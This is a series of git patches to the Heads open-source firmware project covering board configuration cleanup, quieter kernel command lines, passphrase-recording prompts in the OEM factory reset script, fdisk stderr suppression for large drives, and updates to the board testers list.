b/boards/qemu-coreboot-whiptail-tpm1-hotp-prod/qemu-coreboot-whiptail-tpm1-hotp-prod.config @@ -18,12 +18,6 @@ CONFIG_LINUX_CONFIG=config/linux-qemu.config #Enable HAVE_GPG_KEY_BACKUP to test GPG key backup drive (we cannot inject config under QEMU (no internal flashing)) #export CONFIG_HAVE_GPG_KEY_BACKUP=y -#Enable DEBUG output -#export CONFIG_DEBUG_OUTPUT=y -#export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=y -#Enable TPM2 pcap output under /tmp -#export CONFIG_TPM2_CAPTURE_PCAP=n - #On-demand hardware support (modules.cpio) CONFIG_LINUX_USB=y CONFIG_LINUX_E1000=y diff --git a/boards/qemu-coreboot-whiptail-tpm1-prod/qemu-coreboot-whiptail-tpm1-prod.config b/boards/qemu-coreboot-whiptail-tpm1-prod/qemu-coreboot-whiptail-tpm1-prod.config index ee8d56fd5..0c0d57a83 100644 --- a/boards/qemu-coreboot-whiptail-tpm1-prod/qemu-coreboot-whiptail-tpm1-prod.config +++ b/boards/qemu-coreboot-whiptail-tpm1-prod/qemu-coreboot-whiptail-tpm1-prod.config @@ -16,12 +16,6 @@ CONFIG_LINUX_CONFIG=config/linux-qemu.config #Enable HAVE_GPG_KEY_BACKUP to test GPG key backup drive (we cannot inject config under QEMU (no internal flashing)) #export CONFIG_HAVE_GPG_KEY_BACKUP=y -#Enable DEBUG output -#export CONFIG_DEBUG_OUTPUT=y -#export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=y -#Enable TPM2 pcap output under /tmp -#export CONFIG_TPM2_CAPTURE_PCAP=n - #On-demand hardware support (modules.cpio) CONFIG_LINUX_USB=y CONFIG_LINUX_E1000=y diff --git a/config/coreboot-novacustom-v560tu.config b/config/coreboot-novacustom-v560tu.config index ccc35a770..b2e129646 100644 --- a/config/coreboot-novacustom-v560tu.config +++ b/config/coreboot-novacustom-v560tu.config @@ -216,7 +216,7 @@ CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 CONFIG_FSP_TEMP_RAM_SIZE=0x20000 CONFIG_EC_GPE_SCI=0x50 CONFIG_TPM_MEASURED_BOOT=y -CONFIG_LINUX_COMMAND_LINE="debug" +CONFIG_LINUX_COMMAND_LINE="quiet loglevel=2" CONFIG_BOARD_ROMSIZE_KB_32768=y # CONFIG_COREBOOT_ROMSIZE_KB_256 is not set # CONFIG_COREBOOT_ROMSIZE_KB_512 is not set From 22a86e6d48977e87344460dc3618768486e7fcba Mon Sep 17 00:00:00 2001 From: Jonathon Hall Date: Thu, 16 Jan 2025 09:55:16 -0500 Subject: [PATCH 474/619] oem-factory-reset: Only badger user to record passphrases if generated There are many flows through oem-factory-reset that use passwords provided by the user or basic defaults to be changed later. We don't need to badger the user to record those passwords. Still do this if we generated diceware passwords though, as the user does not know them yet. Signed-off-by: Jonathon Hall --- initrd/bin/oem-factory-reset | 20 ++++++++++++++++++++ 1 file changed, 20 insertions(+) diff --git a/initrd/bin/oem-factory-reset b/initrd/bin/oem-factory-reset index b504ec956..db8b330ef 100755 --- a/initrd/bin/oem-factory-reset +++ b/initrd/bin/oem-factory-reset @@ -42,6 +42,10 @@ GPG_ALGO="RSA" # Default RSA key length is 3072 bits for OEM key gen. 4096 are way longer to generate in smartcard RSA_KEY_LENGTH=3072 +# If we use complex generated passphrases, we will really try hard to make the +# user record them +MAKE_USER_RECORD_PASSPHRASES= + # Function to handle --mode parameter handle_mode() { local mode=$1 @@ -52,6 +56,8 @@ handle_mode() { USER_PIN=$CUSTOM_SINGLE_PASS ADMIN_PIN=$CUSTOM_SINGLE_PASS TPM_PASS=$CUSTOM_SINGLE_PASS + # User doesn't know this password, really badger them to record it + MAKE_USER_RECORD_PASSPHRASES=y title_text="OEM Factory Reset Mode" ;; @@ -60,6 +66,8 @@ handle_mode() { USER_PIN=$(generate_passphrase --number_words 2 --max_length $MAX_HOTP_GPG_PIN_LENGTH) ADMIN_PIN=$(generate_passphrase --number_words 2 --max_length $MAX_HOTP_GPG_PIN_LENGTH) TPM_PASS=$ADMIN_PIN + # User doesn't know this password, really badger them to record it + MAKE_USER_RECORD_PASSPHRASES=y title_text="User Re-Ownership Mode" ;; @@ -1078,6 +1086,10 @@ if [ "$use_defaults" == "n" -o "$use_defaults" == "N" ]; then if [ -n "$luks_new_Disk_Recovery_Key_passphrase_desired" ]; then luks_new_Disk_Recovery_Key_passphrase=${CUSTOM_SINGLE_PASS} fi + + # The user knows this password, we don't need to badger them to + # record it + MAKE_USER_RECORD_PASSPHRASES= else echo -e -n "Would you like to set distinct PINs/passwords to configure previously stated security components? [y/N]: " read -n 1 prompt_output @@ -1108,6 +1120,9 @@ if [ "$use_defaults" == "n" -o "$use_defaults" == "N" ]; then done fi echo + # The user knows these passwords, we don't need to + # badger them to record them + MAKE_USER_RECORD_PASSPHRASES= fi fi @@ -1429,6 +1444,11 @@ fi while true; do whiptail --msgbox "$(echo -e "$passphrases" | fold -w $((WIDTH - 5)))" \ $HEIGHT $WIDTH --title "Configured secrets" + if [ "$MAKE_USER_RECORD_PASSPHRASES" != y ]; then + # Passwords were user-supplied or not complex, we do not need to + # badger the user to record them + break + fi #Tell user to scan the QR code containing all configured secrets echo -e "\nScan the QR code below to save the secrets to a secure location" qrenc "$(echo -e "$passphrases")" From 13f8cce1bf9cdbf7ffd78672d732924a425841fa Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Micha=C5=82=20Kope=C4=87?= Date: Fri, 17 Jan 2025 13:24:11 +0100 Subject: [PATCH 475/619] modules/coreboot: set Dasharo coreboot fork rev to the main dasharo branch MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Signed-off-by: Michał Kopeć --- modules/coreboot | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/coreboot b/modules/coreboot index 5793983fe..2b93cca1c 100644 --- a/modules/coreboot +++ b/modules/coreboot @@ -94,7 +94,7 @@ $(eval $(call coreboot_module,purism,24.02.01)) # MSI and NovaCustom NV4xPZ, NS5xPU, V560TU boards are based on Dasharo # coreboot fork, based on upstream coreboot version 24.02 coreboot-dasharo_repo := https://github.com/dasharo/coreboot -coreboot-dasharo_commit_hash := 94e5f5d5b808cf8d8fd5c70d4ef6a08a054f8986 +coreboot-dasharo_commit_hash := 048ca832325d716fcab596822b10f5d493fc2312 $(eval $(call coreboot_module,dasharo,24.02.01)) #coreboot-dasharo_patch_version := unreleased From 0cb5f2faa84fae10dc316cc4d8a3bb0dd8191876 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Thu, 16 Jan 2025 10:57:03 -0500 Subject: [PATCH 476/619] BUGFIX: v560tu: unify board config, remove debug cmdline passed from coreboot to linux kernel Note: qemu coreboot config still pass debug (non quiet, non prod board = debug) config/coreboot-qemu-tpm1.config:173:CONFIG_LINUX_COMMAND_LINE="debug console=ttyS0,115200 console=tty" config/coreboot-qemu-tpm2.config:170:CONFIG_LINUX_COMMAND_LINE="debug console=ttyS0,115200 console=tty" Signed-off-by: Thierry Laurion --- boards/novacustom-v560tu/novacustom-v560tu.config | 1 - .../qemu-coreboot-fbwhiptail-tpm1-hotp-prod.config | 14 +++++++------- .../qemu-coreboot-fbwhiptail-tpm1-prod.config | 14 +++++++------- .../qemu-coreboot-whiptail-tpm1-hotp-prod.config | 14 +++++++------- .../qemu-coreboot-whiptail-tpm1-prod.config | 14 +++++++------- config/coreboot-novacustom-v560tu.config | 2 +- 6 files changed, 29 insertions(+), 30 deletions(-) diff --git a/boards/novacustom-v560tu/novacustom-v560tu.config b/boards/novacustom-v560tu/novacustom-v560tu.config index 5a216b39d..90d0cf9fc 100644 --- a/boards/novacustom-v560tu/novacustom-v560tu.config +++ b/boards/novacustom-v560tu/novacustom-v560tu.config @@ -78,4 +78,3 @@ export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="NovaCustom V560TU" export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal --ifd -i bios -i me -i fd" -export CONFIG_AUTO_BOOT_TIMEOUT=5 diff --git a/boards/qemu-coreboot-fbwhiptail-tpm1-hotp-prod/qemu-coreboot-fbwhiptail-tpm1-hotp-prod.config b/boards/qemu-coreboot-fbwhiptail-tpm1-hotp-prod/qemu-coreboot-fbwhiptail-tpm1-hotp-prod.config index 255357084..aae15a997 100644 --- a/boards/qemu-coreboot-fbwhiptail-tpm1-hotp-prod/qemu-coreboot-fbwhiptail-tpm1-hotp-prod.config +++ b/boards/qemu-coreboot-fbwhiptail-tpm1-hotp-prod/qemu-coreboot-fbwhiptail-tpm1-hotp-prod.config @@ -18,12 +18,6 @@ CONFIG_LINUX_CONFIG=config/linux-qemu.config #Enable HAVE_GPG_KEY_BACKUP to test GPG key backup drive (we cannot inject config under QEMU (no internal flashing)) #export CONFIG_HAVE_GPG_KEY_BACKUP=y -#Enable DEBUG output -#export CONFIG_DEBUG_OUTPUT=y -#export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=y -#Enable TPM2 pcap output under /tmp -#export CONFIG_TPM2_CAPTURE_PCAP=y - #On-demand hardware support (modules.cpio) CONFIG_LINUX_USB=y CONFIG_LINUX_E1000=y @@ -82,6 +76,13 @@ export CONFIG_AUTO_BOOT_TIMEOUT=5 #export CONFIG_PRIMARY_KEY_TYPE=ecc #TPM1 requirements export CONFIG_TPM=y +#Enable DEBUG output +export CONFIG_DEBUG_OUTPUT=n +export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=n +#Enable TPM2 pcap output under /tmp +export CONFIG_TPM2_CAPTURE_PCAP=n +#Enable quiet mode: technical information logged under /tmp/debug.log +export CONFIG_QUIET_MODE=n export CONFIG_BOOTSCRIPT=/bin/gui-init #text-based original init: #export CONFIG_BOOTSCRIPT=/bin/generic-init @@ -92,6 +93,5 @@ export CONFIG_BOOT_KERNEL_ADD="console=ttyS0 console=tty systemd.zram=0" export CONFIG_BOOT_KERNEL_REMOVE="quiet rhgb splash" export CONFIG_BOARD_NAME="qemu-coreboot-fbwhiptail-tpm1-hotp" #export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal" -export CONFIG_AUTO_BOOT_TIMEOUT=5 BOARD_TARGETS := qemu diff --git a/boards/qemu-coreboot-fbwhiptail-tpm1-prod/qemu-coreboot-fbwhiptail-tpm1-prod.config b/boards/qemu-coreboot-fbwhiptail-tpm1-prod/qemu-coreboot-fbwhiptail-tpm1-prod.config index 04c0c6477..0fffc9705 100644 --- a/boards/qemu-coreboot-fbwhiptail-tpm1-prod/qemu-coreboot-fbwhiptail-tpm1-prod.config +++ b/boards/qemu-coreboot-fbwhiptail-tpm1-prod/qemu-coreboot-fbwhiptail-tpm1-prod.config @@ -16,12 +16,6 @@ CONFIG_LINUX_CONFIG=config/linux-qemu.config #Enable HAVE_GPG_KEY_BACKUP to test GPG key backup drive (we cannot inject config under QEMU (no internal flashing)) #export CONFIG_HAVE_GPG_KEY_BACKUP=y -#Enable DEBUG output -#export CONFIG_DEBUG_OUTPUT=y -#export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=y -#Enable TPM2 pcap output under /tmp -#export CONFIG_TPM2_CAPTURE_PCAP=y - #On-demand hardware support (modules.cpio) CONFIG_LINUX_USB=y CONFIG_LINUX_E1000=y @@ -80,6 +74,13 @@ export CONFIG_AUTO_BOOT_TIMEOUT=5 #export CONFIG_PRIMARY_KEY_TYPE=ecc #TPM1 requirements export CONFIG_TPM=y +#Enable DEBUG output +export CONFIG_DEBUG_OUTPUT=n +export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=n +#Enable TPM2 pcap output under /tmp +export CONFIG_TPM2_CAPTURE_PCAP=n +#Enable quiet mode: technical information logged under /tmp/debug.log +export CONFIG_QUIET_MODE=n export CONFIG_BOOTSCRIPT=/bin/gui-init #text-based original init: #export CONFIG_BOOTSCRIPT=/bin/generic-init @@ -90,6 +91,5 @@ export CONFIG_BOOT_KERNEL_ADD="console=ttyS0 console=tty systemd.zram=0" export CONFIG_BOOT_KERNEL_REMOVE="quiet rhgb splash" export CONFIG_BOARD_NAME="qemu-coreboot-fbwhiptail-tpm1" #export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal" -#export CONFIG_AUTO_BOOT_TIMEOUT=5 BOARD_TARGETS := qemu diff --git a/boards/qemu-coreboot-whiptail-tpm1-hotp-prod/qemu-coreboot-whiptail-tpm1-hotp-prod.config b/boards/qemu-coreboot-whiptail-tpm1-hotp-prod/qemu-coreboot-whiptail-tpm1-hotp-prod.config index aeb1b4fa1..3e43e98b8 100644 --- a/boards/qemu-coreboot-whiptail-tpm1-hotp-prod/qemu-coreboot-whiptail-tpm1-hotp-prod.config +++ b/boards/qemu-coreboot-whiptail-tpm1-hotp-prod/qemu-coreboot-whiptail-tpm1-hotp-prod.config @@ -18,12 +18,6 @@ CONFIG_LINUX_CONFIG=config/linux-qemu.config #Enable HAVE_GPG_KEY_BACKUP to test GPG key backup drive (we cannot inject config under QEMU (no internal flashing)) #export CONFIG_HAVE_GPG_KEY_BACKUP=y -#Enable DEBUG output -#export CONFIG_DEBUG_OUTPUT=y -#export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=y -#Enable TPM2 pcap output under /tmp -#export CONFIG_TPM2_CAPTURE_PCAP=y - #On-demand hardware support (modules.cpio) CONFIG_LINUX_USB=y CONFIG_LINUX_E1000=y @@ -82,6 +76,13 @@ export CONFIG_AUTO_BOOT_TIMEOUT=5 #export CONFIG_PRIMARY_KEY_TYPE=ecc #TPM1 requirements export CONFIG_TPM=y +#Enable DEBUG output +export CONFIG_DEBUG_OUTPUT=n +export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=n +#Enable TPM2 pcap output under /tmp +export CONFIG_TPM2_CAPTURE_PCAP=n +#Enable quiet mode: technical information logged under /tmp/debug.log +export CONFIG_QUIET_MODE=n export CONFIG_BOOTSCRIPT=/bin/gui-init #text-based original init: #export CONFIG_BOOTSCRIPT=/bin/generic-init @@ -92,6 +93,5 @@ export CONFIG_BOOT_KERNEL_ADD="console=ttyS0 console=tty systemd.zram=0" export CONFIG_BOOT_KERNEL_REMOVE="quiet rhgb splash" export CONFIG_BOARD_NAME="qemu-coreboot-whiptail-tpm1-hotp" #export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal" -export CONFIG_AUTO_BOOT_TIMEOUT=5 BOARD_TARGETS := qemu diff --git a/boards/qemu-coreboot-whiptail-tpm1-prod/qemu-coreboot-whiptail-tpm1-prod.config b/boards/qemu-coreboot-whiptail-tpm1-prod/qemu-coreboot-whiptail-tpm1-prod.config index 0038b8a9f..0c0d57a83 100644 --- a/boards/qemu-coreboot-whiptail-tpm1-prod/qemu-coreboot-whiptail-tpm1-prod.config +++ b/boards/qemu-coreboot-whiptail-tpm1-prod/qemu-coreboot-whiptail-tpm1-prod.config @@ -16,12 +16,6 @@ CONFIG_LINUX_CONFIG=config/linux-qemu.config #Enable HAVE_GPG_KEY_BACKUP to test GPG key backup drive (we cannot inject config under QEMU (no internal flashing)) #export CONFIG_HAVE_GPG_KEY_BACKUP=y -#Enable DEBUG output -#export CONFIG_DEBUG_OUTPUT=y -#export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=y -#Enable TPM2 pcap output under /tmp -#export CONFIG_TPM2_CAPTURE_PCAP=y - #On-demand hardware support (modules.cpio) CONFIG_LINUX_USB=y CONFIG_LINUX_E1000=y @@ -80,6 +74,13 @@ export CONFIG_AUTO_BOOT_TIMEOUT=5 #export CONFIG_PRIMARY_KEY_TYPE=ecc #TPM1 requirements export CONFIG_TPM=y +#Enable DEBUG output +export CONFIG_DEBUG_OUTPUT=n +export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=n +#Enable TPM2 pcap output under /tmp +export CONFIG_TPM2_CAPTURE_PCAP=n +#Enable quiet mode: technical information logged under /tmp/debug.log +export CONFIG_QUIET_MODE=n export CONFIG_BOOTSCRIPT=/bin/gui-init #text-based original init: #export CONFIG_BOOTSCRIPT=/bin/generic-init @@ -90,6 +91,5 @@ export CONFIG_BOOT_KERNEL_ADD="console=ttyS0 console=tty systemd.zram=0" export CONFIG_BOOT_KERNEL_REMOVE="quiet rhgb splash" export CONFIG_BOARD_NAME="qemu-coreboot-whiptail-tpm1" #export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal" -#export CONFIG_AUTO_BOOT_TIMEOUT=5 BOARD_TARGETS := qemu diff --git a/config/coreboot-novacustom-v560tu.config b/config/coreboot-novacustom-v560tu.config index ccc35a770..b2e129646 100644 --- a/config/coreboot-novacustom-v560tu.config +++ b/config/coreboot-novacustom-v560tu.config @@ -216,7 +216,7 @@ CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 CONFIG_FSP_TEMP_RAM_SIZE=0x20000 CONFIG_EC_GPE_SCI=0x50 CONFIG_TPM_MEASURED_BOOT=y -CONFIG_LINUX_COMMAND_LINE="debug" +CONFIG_LINUX_COMMAND_LINE="quiet loglevel=2" CONFIG_BOARD_ROMSIZE_KB_32768=y # CONFIG_COREBOOT_ROMSIZE_KB_256 is not set # CONFIG_COREBOOT_ROMSIZE_KB_512 is not set From a37c4e4264794f7a0d2193be8bcd34a07b1e9d03 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Fri, 17 Jan 2025 18:32:11 -0500 Subject: [PATCH 477/619] Revert "modules/coreboot: set Dasharo coreboot fork rev to the main dasharo branch" This reverts commit 13f8cce1bf9cdbf7ffd78672d732924a425841fa. Signed-off-by: Thierry Laurion --- modules/coreboot | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/coreboot b/modules/coreboot index 2b93cca1c..5793983fe 100644 --- a/modules/coreboot +++ b/modules/coreboot @@ -94,7 +94,7 @@ $(eval $(call coreboot_module,purism,24.02.01)) # MSI and NovaCustom NV4xPZ, NS5xPU, V560TU boards are based on Dasharo # coreboot fork, based on upstream coreboot version 24.02 coreboot-dasharo_repo := https://github.com/dasharo/coreboot -coreboot-dasharo_commit_hash := 048ca832325d716fcab596822b10f5d493fc2312 +coreboot-dasharo_commit_hash := 94e5f5d5b808cf8d8fd5c70d4ef6a08a054f8986 $(eval $(call coreboot_module,dasharo,24.02.01)) #coreboot-dasharo_patch_version := unreleased From 836af32a423cf5d49206aab687165fde610c6345 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Mon, 20 Jan 2025 12:14:42 -0500 Subject: [PATCH 478/619] BUGFIX >2tb drives: replace all fdisk -l calls with stderr suppression (workaround) Signed-off-by: Thierry Laurion --- initrd/bin/config-gui.sh | 4 ++-- initrd/bin/root-hashes-gui.sh | 2 +- initrd/etc/functions | 6 +++--- initrd/etc/gui_functions | 2 +- 4 files changed, 7 insertions(+), 7 deletions(-) diff --git a/initrd/bin/config-gui.sh b/initrd/bin/config-gui.sh index 2f4117712..2531cd6e1 100755 --- a/initrd/bin/config-gui.sh +++ b/initrd/bin/config-gui.sh @@ -113,7 +113,7 @@ while true; do ;; "b") CURRENT_OPTION="$(load_config_value CONFIG_BOOT_DEV)" - if ! fdisk -l | grep "Disk /dev/" | cut -f2 -d " " | cut -f1 -d ":" >/tmp/disklist.txt; then + if ! fdisk -l 2>/dev/null | grep "Disk /dev/" | cut -f2 -d " " | cut -f1 -d ":" >/tmp/disklist.txt; then whiptail_error --title 'ERROR: No bootable devices found' \ --msgbox " $ERROR\n\n" 0 80 exit 1 @@ -208,7 +208,7 @@ while true; do ;; "R") CURRENT_OPTION="$(load_config_value CONFIG_ROOT_DEV)" - fdisk -l | grep "Disk /dev/" | cut -f2 -d " " | cut -f1 -d ":" >/tmp/disklist.txt + fdisk -l 2>/dev/null | grep "Disk /dev/" | cut -f2 -d " " | cut -f1 -d ":" >/tmp/disklist.txt # filter out extraneous options >/tmp/root_device_list.txt for i in $(cat /tmp/disklist.txt); do diff --git a/initrd/bin/root-hashes-gui.sh b/initrd/bin/root-hashes-gui.sh index cd3c750d2..67881f554 100755 --- a/initrd/bin/root-hashes-gui.sh +++ b/initrd/bin/root-hashes-gui.sh @@ -367,7 +367,7 @@ detect_root_device() fi # generate list of possible boot devices - fdisk -l | grep "Disk /dev/" | cut -f2 -d " " | cut -f1 -d ":" > /tmp/disklist + fdisk -l 2>/dev/null | grep "Disk /dev/" | cut -f2 -d " " | cut -f1 -d ":" > /tmp/disklist # filter out extraneous options > /tmp_root_device_list diff --git a/initrd/etc/functions b/initrd/etc/functions index 4bf449b0b..e4a735080 100644 --- a/initrd/etc/functions +++ b/initrd/etc/functions @@ -645,7 +645,7 @@ device_has_partitions() { # This check covers that: [ $(fdisk -l "$b" | wc -l) -eq 5 ] # In both cases the output is 5 lines: 3 about device info, 1 empty line # and the 5th will be the table header or the invalid message. - local DISK_DATA=$(fdisk -l "$DEVICE") + local DISK_DATA=$(fdisk -l "$DEVICE" 2>/dev/null) if echo "$DISK_DATA" | grep -q "doesn't contain a valid partition table" || [ "$(echo "$DISK_DATA" | wc -l)" -eq 5 ]; then # No partition table @@ -1066,7 +1066,7 @@ is_gpt_bios_grub() { # Now we know the device and partition number, get the type. This is # specific to GPT disks, MBR disks are shown differently by fdisk. TRACE "$PART_DEV is partition $NUMBER of $DEVICE" - if [ "$(fdisk -l "/dev/$DEVICE" | awk '$1 == '"$NUMBER"' {print $5}')" == grub ]; then + if [ "$(fdisk -l "/dev/$DEVICE" 2>/dev/null | awk '$1 == '"$NUMBER"' {print $5}')" == grub ]; then return 0 fi return 1 @@ -1139,7 +1139,7 @@ detect_boot_device() { fi # generate list of possible boot devices - fdisk -l | grep "Disk /dev/" | cut -f2 -d " " | cut -f1 -d ":" >/tmp/disklist + fdisk -l 2>/dev/null | grep "Disk /dev/" | cut -f2 -d " " | cut -f1 -d ":" >/tmp/disklist # Check each possible boot device for i in $(cat /tmp/disklist); do diff --git a/initrd/etc/gui_functions b/initrd/etc/gui_functions index 38958b1ab..3566cc2ac 100755 --- a/initrd/etc/gui_functions +++ b/initrd/etc/gui_functions @@ -181,7 +181,7 @@ show_system_info() kernel=$(uname -s -r) whiptail_type $BG_COLOR_MAIN_MENU --title 'System Info' \ - --msgbox "${BOARD_NAME}\n\nFW_VER: ${FW_VER}\nKernel: ${kernel}\n\nCPU: ${cpustr}\nRAM: ${memtotal} GB\n$battery_status\n$(fdisk -l | grep -e '/dev/sd.:' -e '/dev/nvme.*:' | sed 's/B,.*/B/')" 0 80 + --msgbox "${BOARD_NAME}\n\nFW_VER: ${FW_VER}\nKernel: ${kernel}\n\nCPU: ${cpustr}\nRAM: ${memtotal} GB\n$battery_status\n$(fdisk -l 2>/dev/null | grep -e '/dev/sd.:' -e '/dev/nvme.*:' | sed 's/B,.*/B/')" 0 80 } # Get "Enable" or "Disable" to display in the configuration menu, based on a From 6ab23088dcc5093473b8b0198634de742c0e40a0 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Mon, 20 Jan 2025 15:20:45 -0500 Subject: [PATCH 479/619] BOARD_TESTERS.md: add @notgivenby on t420 and t430 Closes https://github.com/linuxboot/heads/issues/1869 Signed-off-by: Thierry Laurion --- BOARD_TESTERS.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/BOARD_TESTERS.md b/BOARD_TESTERS.md index 81ba001d7..4dc6a1699 100644 --- a/BOARD_TESTERS.md +++ b/BOARD_TESTERS.md @@ -15,12 +15,12 @@ Laptops xx20 (Sandy): === -- [ ] t420 (xx20): @natterangell(iGPU) @alexmaloteaux @akfhasodh @doob85 +- [ ] t420 (xx20): @notgivenby @natterangell(iGPU) @alexmaloteaux @akfhasodh @doob85 - [ ] x220 (xx20): @srgrint @Thrilleratplay xx30 (Ivy): === -- [ ] t430 (xx30): @nestire(t430-legacy, t430-maximized) @Thrilleratplay @alexmaloteaux @lsafd @bwachter(iGPU maximized) @shamen123 @eganonoa(iGPU) @nitrosimon @jans23 @icequbes1 (iGPU) @weyounsix (t430-dgpu) +- [ ] t430 (xx30): @notgivenby @nestire(t430-legacy, t430-maximized) @Thrilleratplay @alexmaloteaux @lsafd @bwachter(iGPU maximized) @shamen123 @eganonoa(iGPU) @nitrosimon @jans23 @icequbes1 (iGPU) @weyounsix (t430-dgpu) - [ ] w530 (xx30): @eganonoa @zifxify @weyounsix (dGPU: w530-k2000m) @jnscmns (dGPU K1000M) @computer-user123 (w530 / & w530 k2000 : prefers iGPU) @tlaurion - [ ] x230 (xx30): @nestire(x230-legacy, x230-maximized) @tlaurion(maximized) @osresearch @merge @jan23 @MrChromebox @shamen123 @eganonoa @bwachter @Thrilleratplay @jnscmns @doob85 @natterangell (x230i variant: irrelevant individual board) - [ ] x230-fhd/edp variant: @n4ru @computer-user123 (nitro caster board) @Tonux599 @househead @pcm720 (eDP 4.0 board and 1440p display) From f17cd908fb6814a7bad3e1d91e2128aa0457dc59 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Mon, 20 Jan 2025 15:25:46 -0500 Subject: [PATCH 480/619] BOARD_TESTERS.md: remove @natterangell for t420 and x230i per https://github.com/linuxboot/heads/issues/692#issuecomment-2603162727 request) Signed-off-by: Thierry Laurion --- BOARD_TESTERS.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/BOARD_TESTERS.md b/BOARD_TESTERS.md index 4dc6a1699..f38fd8ee2 100644 --- a/BOARD_TESTERS.md +++ b/BOARD_TESTERS.md @@ -15,14 +15,14 @@ Laptops xx20 (Sandy): === -- [ ] t420 (xx20): @notgivenby @natterangell(iGPU) @alexmaloteaux @akfhasodh @doob85 +- [ ] t420 (xx20): @notgivenby @alexmaloteaux @akfhasodh @doob85 - [ ] x220 (xx20): @srgrint @Thrilleratplay xx30 (Ivy): === - [ ] t430 (xx30): @notgivenby @nestire(t430-legacy, t430-maximized) @Thrilleratplay @alexmaloteaux @lsafd @bwachter(iGPU maximized) @shamen123 @eganonoa(iGPU) @nitrosimon @jans23 @icequbes1 (iGPU) @weyounsix (t430-dgpu) - [ ] w530 (xx30): @eganonoa @zifxify @weyounsix (dGPU: w530-k2000m) @jnscmns (dGPU K1000M) @computer-user123 (w530 / & w530 k2000 : prefers iGPU) @tlaurion -- [ ] x230 (xx30): @nestire(x230-legacy, x230-maximized) @tlaurion(maximized) @osresearch @merge @jan23 @MrChromebox @shamen123 @eganonoa @bwachter @Thrilleratplay @jnscmns @doob85 @natterangell (x230i variant: irrelevant individual board) +- [ ] x230 (xx30): @nestire(x230-legacy, x230-maximized) @tlaurion(maximized) @osresearch @merge @jan23 @MrChromebox @shamen123 @eganonoa @bwachter @Thrilleratplay @jnscmns @doob85 - [ ] x230-fhd/edp variant: @n4ru @computer-user123 (nitro caster board) @Tonux599 @househead @pcm720 (eDP 4.0 board and 1440p display) - [ ] x230t : @fhvyhjriur - [ ] t530 (xx30): @fhvyhjriur @3hhh (Opportunity to mainstream and close https://github.com/linuxboot/heads/issues/1682) From c62b0c93ec4b841161cce6348ec655e18bf518b3 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Mon, 20 Jan 2025 16:00:02 -0500 Subject: [PATCH 481/619] BOARD_TESTERS.md: add https://matrix.to/#/@rsabdpy:matrix.org per https://matrix.to/#/!pAlHOfxQNPXOgFGTmo:matrix.org/$pj1W6y6usxTnE0DnU1uhQKX2HfPVVgCcCeyAoOITmgk?via=matrix.org&via=nitro.chat&via=envs.net agreement for d16 and x230 fhd Signed-off-by: Thierry Laurion --- BOARD_TESTERS.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/BOARD_TESTERS.md b/BOARD_TESTERS.md index f38fd8ee2..622fc3ded 100644 --- a/BOARD_TESTERS.md +++ b/BOARD_TESTERS.md @@ -22,8 +22,8 @@ xx30 (Ivy): === - [ ] t430 (xx30): @notgivenby @nestire(t430-legacy, t430-maximized) @Thrilleratplay @alexmaloteaux @lsafd @bwachter(iGPU maximized) @shamen123 @eganonoa(iGPU) @nitrosimon @jans23 @icequbes1 (iGPU) @weyounsix (t430-dgpu) - [ ] w530 (xx30): @eganonoa @zifxify @weyounsix (dGPU: w530-k2000m) @jnscmns (dGPU K1000M) @computer-user123 (w530 / & w530 k2000 : prefers iGPU) @tlaurion -- [ ] x230 (xx30): @nestire(x230-legacy, x230-maximized) @tlaurion(maximized) @osresearch @merge @jan23 @MrChromebox @shamen123 @eganonoa @bwachter @Thrilleratplay @jnscmns @doob85 -- [ ] x230-fhd/edp variant: @n4ru @computer-user123 (nitro caster board) @Tonux599 @househead @pcm720 (eDP 4.0 board and 1440p display) +- [ ] x230 (xx30): @nestire(x230-legacy, x230-maximized) @tlaurion(maximized) @osresearch @merge @jan23 @MrChromebox @shamen123 @eganonoa @bwachter @Thrilleratplay @jnscmns +- [ ] x230-fhd/edp variant: @n4ru @computer-user123 (nitro caster board) @Tonux599 @househead @pcm720 (eDP 4.0 board and 1440p display) @doob85 https://matrix.to/#/@rsabdpy:matrix.org (agan mod board) - [ ] x230t : @fhvyhjriur - [ ] t530 (xx30): @fhvyhjriur @3hhh (Opportunity to mainstream and close https://github.com/linuxboot/heads/issues/1682) @@ -49,7 +49,7 @@ Clevo: Desktops/Servers == -- [ ] kgpe-d16 (AMD fam15h) (dropped in coreboot 4.12): @arhabd @Tonux599 @zifxify @tlaurion +- [ ] kgpe-d16 (AMD fam15h) (dropped in coreboot 4.12): @arhabd @Tonux599 @zifxify https://matrix.to/#/@rsabdpy:matrix.org - [ ] Librem L1UM v1 (Broadwell): @JonathonHall-Purism - [ ] Librem L1Um v2 (CoffeeLake): @JonathonHall-Purism - [ ] Talos II 